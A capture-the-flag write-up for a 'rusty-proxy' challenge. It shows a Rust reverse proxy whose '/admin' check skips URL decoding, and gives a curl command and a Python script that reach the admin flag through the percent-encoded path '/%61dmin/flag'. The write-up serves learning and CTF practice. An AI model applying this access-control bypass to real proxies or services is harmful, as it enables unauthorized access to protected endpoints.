Challenge Description#

Rust reverse proxy with Flask backend. Remote: http://rusty-proxy.chals.bitskrieg.in:25001

Analysis#

Proxy ACL in main.rs:

fn is_path_allowed(path: &str) -> bool {
    let normalized = path.to_lowercase();
    if normalized.starts_with("/admin") {
        return false;
    }
    true
}

The proxy checks the raw request path without URL decoding. Flask decodes %61 → a.

Exploitation#

curl "http://rusty-proxy.chals.bitskrieg.in:25001/%61dmin/flag"

/%61dmin/flag passes proxy check (doesn’t start with /admin), but Flask receives /admin/flag.

Or using Python:

#!/usr/bin/env python3
import requests

URL = "http://rusty-proxy.chals.bitskrieg.in:25001/%61dmin/flag"

r = requests.get(URL, timeout=10)
data = r.json()
print(f"Flag: {data.get('flag')}")